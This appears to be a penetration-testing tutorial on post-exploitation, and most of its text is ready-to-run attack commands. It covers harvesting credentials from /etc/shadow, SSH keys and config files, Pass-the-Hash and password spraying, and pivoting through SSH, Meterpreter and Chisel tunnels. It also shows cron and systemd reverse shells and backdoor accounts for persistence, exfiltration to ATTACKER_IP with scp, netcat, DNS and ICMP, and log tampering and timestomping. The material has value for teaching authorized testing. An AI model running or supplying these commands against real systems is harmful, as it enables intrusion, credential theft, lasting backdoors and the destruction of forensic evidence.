Post-Exploitation
Lateral movement, persistence, data exfiltration, pivoting through networks — what happens after you have root.
post-exploitationlateral movementpersistencepivotingdata exfiltrationPass-the-Hash
Real-World Analogy
Getting root on one machine is breaking into the lobby. Post-exploitation is using the lobby to get to the server room, the HR filing cabinet, and the executive floor — methodically expanding from your initial position.
Post-Exploitation Goals
1. Situational awareness — what did I land on? Where is this?
2. Credential harvesting — find more usernames/passwords/keys
3. Lateral movement — pivot to other machines
4. Persistence — maintain access after reboot/detection
5. Data exfiltration — identify and extract target data
6. Covering tracks — minimize forensic evidence (scope-dependent) Situational Awareness
# What machine am I on?
hostname
uname -a
cat /etc/os-release
# What network am I on?
ip addr show
ip route show
cat /etc/hosts # internal hostname to IP mappings
arp -a # cached ARP = other machines recently contacted
# What's running?
ps aux
ss -tulnp
# What data is here?
ls /home/
ls /var/www/
ls /opt/
find / -name "*.sql" 2>/dev/null # database dumps
find / -name "*.csv" 2>/dev/null # data exports
find / -name "*.key" -o -name "*.pem" 2>/dev/null # crypto keys Credential Harvesting
# /etc/shadow — Linux password hashes
cat /etc/shadow
# SSH private keys
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
find / -path "*/ssh/*" 2>/dev/null
# Application config files with database credentials
find / -name "wp-config.php" 2>/dev/null # WordPress
find / -name ".env" 2>/dev/null # env files
find / -name "database.yml" 2>/dev/null # Rails
find / -name "config.php" 2>/dev/null # generic PHP apps
find / -name "settings.py" 2>/dev/null # Django
find / -name "application.yml" 2>/dev/null # Spring Boot
# Shell history
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history
# Browser saved credentials (Firefox)
ls ~/.mozilla/firefox/*.default/
python3 firefox_decrypt.py ~/.mozilla/firefox/*.default/
# AWS credentials
cat ~/.aws/credentials
env | grep AWS Lateral Movement
Pass-the-Hash (Windows)
In Windows environments, NTLM hashes can authenticate directly — no cracking needed:
# With impacket (from Kali)
python3 /usr/share/doc/python3-impacket/examples/smbclient.py \
DOMAIN/Administrator@192.168.1.200 \
-hashes :NTLM_HASH_HERE
# PSExec with hash
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
DOMAIN/Administrator@192.168.1.200 \
-hashes :NTLM_HASH
# WMI exec with hash
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \
DOMAIN/Administrator@192.168.1.200 \
-hashes :NTLM_HASH
# With CrackMapExec
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH -x "whoami" SSH Key Reuse
# Found private key during credential harvest
chmod 600 found_id_rsa
# Try the key against all discovered hosts
for host in $(cat live-hosts.txt); do
for user in root admin ubuntu ec2-user www-data; do
ssh -i found_id_rsa -o StrictHostKeyChecking=no -o ConnectTimeout=5 $user@$host "id" 2>/dev/null && echo "SUCCESS: $user@$host"
done
done Credential Spraying
# One password against many users/hosts
crackmapexec smb 192.168.1.0/24 -u userlist.txt -p 'Password123!'
crackmapexec ssh 192.168.1.0/24 -u userlist.txt -p 'Password123!'
# Hydra SSH spray
hydra -L users.txt -p 'Password123!' -t 4 192.168.1.0/24 ssh Database Lateral Movement
# MySQL with harvested credentials
mysql -h 192.168.2.100 -u root -p'harvested_password'
# From inside MySQL — look for linked servers or reachable hosts
show databases;
use mysql;
select user,host,authentication_string from user;
# PostgreSQL
psql -h 192.168.2.100 -U postgres -c '\l' # list databases
psql -h 192.168.2.100 -U postgres -c 'SELECT pg_read_file("/etc/passwd");' # file read (if superuser)
# MSSQL linked servers
SELECT name FROM sys.servers;
EXEC('select @@version') AT [linked_server];
EXEC xp_cmdshell 'whoami'; # if xp_cmdshell enabled Network Pivoting
When your compromise machine has access to subnets the attacker can’t reach directly:
Internet
│
[Kali Attacker] → [Compromised Machine] → [Internal Network 10.0.0.0/24]
192.168.1.50 192.168.1.100 / 10.0.0.5 (not directly reachable) SSH Tunneling
# Dynamic SOCKS proxy — route all traffic through the pivot
ssh -D 9050 -N user@192.168.1.100
# Configure proxychains to use it
echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf
# Now scan the internal network through the pivot
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains curl http://10.0.0.10/internal-app
# Local port forward — access a specific internal service
ssh -L 3306:10.0.0.100:3306 user@192.168.1.100
# Now: mysql -h 127.0.0.1 -P 3306 connects to 10.0.0.100:3306
# Remote port forward — expose attacker port through the target
ssh -R 4444:127.0.0.1:4444 user@192.168.1.100
# Target machine: connect to localhost:4444 reaches attacker's listener Metasploit Pivoting
# After getting a Meterpreter session:
meterpreter> run post/multi/manage/autoroute # auto-add routes
# Or manually:
meterpreter> run autoroute -s 10.0.0.0/24
# Now scan from msf
msf6> use auxiliary/scanner/portscan/tcp
msf6> set RHOSTS 10.0.0.0/24
msf6> set PORTS 22,80,443,445,3306
msf6> run
# SOCKS proxy through Meterpreter
msf6> use auxiliary/server/socks_proxy
msf6> set SRVPORT 9050
msf6> set VERSION 5
msf6> run
# Use with proxychains (same as SSH pivot)
proxychains nmap -sT 10.0.0.100 Chisel — Fast TCP Tunneling
# On attacker (server mode)
./chisel server -p 8080 --reverse
# On target (client mode — connects back to attacker)
./chisel client 192.168.1.50:8080 R:9050:socks
# Now proxychains through port 9050 reaches internal network
proxychains curl http://10.0.0.10/ Persistence
Maintaining access in case the initial vulnerability gets patched:
Linux Persistence
# Add SSH key to root's authorized_keys
echo "ssh-rsa AAAA... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Add backdoor user
useradd -m -s /bin/bash -G sudo backdoor
echo 'backdoor:password123' | chpasswd
# Cron reverse shell
(crontab -l 2>/dev/null; echo "*/5 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") | crontab -
# Systemd service
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
# Bash backdoor (if .bashrc is root-owned or checked)
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> /root/.bashrc Windows Persistence
# Registry Run key
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\Windows\Temp\shell.exe"
# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\shell.exe" /sc onlogon /ru SYSTEM
# Service creation
sc create "WindowsUpdate" binpath= "C:\Windows\Temp\shell.exe" start= auto
sc start WindowsUpdate
# Add user to Administrators
net user backdoor Password123! /add
net localgroup administrators backdoor /add Data Exfiltration
# Identify sensitive data
find / -name "*.sql" -o -name "*.csv" -o -name "*.xlsx" 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
grep -r "api_key\|secret\|token" /opt/ 2>/dev/null
# Compress and exfiltrate
tar czf /tmp/exfil.tar.gz /etc/shadow /root/.ssh/ /var/www/
# Transfer methods:
# Method 1: SCP (if outbound SSH allowed)
scp /tmp/exfil.tar.gz attacker@ATTACKER_IP:/tmp/
# Method 2: HTTP upload (netcat listener)
# Attacker:
nc -lvnp 8888 > received.tar.gz
# Target:
cat /tmp/exfil.tar.gz | nc ATTACKER_IP 8888
# Method 3: DNS exfiltration (when only DNS outbound is allowed)
# Split data into 63-char labels and send as DNS queries
# Attacker runs: sudo dnscat2-server example.com
# Target runs: dnscat2 --secret=PASS example.com
# Method 4: ICMP (when only ping allowed)
# Attacker: sudo python3 icmpsh_m.py ATTACKER_IP TARGET_IP
# Target: icmpsh.exe -t ATTACKER_IP Covering Tracks (Engagement-Dependent)
Note: Many rules of engagement prohibit log deletion to preserve forensic artifacts. Always check scope.
# Clear bash history
history -c
unset HISTFILE
export HISTSIZE=0
# Clear specific log entries
sed -i '/192.168.1.50/d' /var/log/auth.log
sed -i '/your_username/d' /var/log/wtmp
# Timestomping — change file timestamps
touch -r /bin/bash /tmp/shell.elf # copy timestamp from bash to your file
# Remove files
shred -u /tmp/exploit.sh # secure delete